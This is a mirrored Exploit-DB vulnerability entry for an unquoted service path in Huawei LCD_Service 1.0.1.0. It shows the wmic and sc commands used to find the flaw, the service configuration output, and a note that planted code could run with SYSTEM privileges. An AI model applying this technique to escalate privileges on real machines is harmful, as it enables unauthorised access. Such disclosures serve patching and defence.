LCD_Service 1.0.1.0 – ‘LCD_Service’ Unquote Service Path - 体验盒子

作者： Gerardo González

日期： 2020-11-17

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/49066/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

# Exploit Title: Huawei LCD_Service 1.0.1.0 - 'LCD_Service' Unquote Service Path

# Date: 2020-11-07

# Exploit Author: Gerardo González

# Vendor Homepage: https://consumer.huawei.com/mx

# Software Link: https://consumer.huawei.com/mx

# Version: 1.0.1.0

# Tested on: Windows 10 Home Single Language x64 Esp

# Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

# Service info:

Huawei LCD_Service LCD_ServiceC:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe Auto

C:\Users\gerar>sc qc "LCD_Service"

[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LCD_Service

TIPO : 10WIN32_OWN_PROCESS

TIPO_INICIO: 2 AUTO_START

CONTROL_ERROR: 1 NORMAL

NOMBRE_RUTA_BINARIO: C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe

GRUPO_ORDEN_CARGA:

ETIQUETA : 0

NOMBRE_MOSTRAR : Huawei LCD_Service

DEPENDENCIAS :

NOMBRE_INICIO_SERVICIO: LocalSystem

# A successful attempt would require the local user to be able to insert their code in the system root path

# undetected by the OS or other security applications where it could potentially be executed during

# application startup or reboot. If successful, the local user's code would execute with the elevated

# privileges of the application.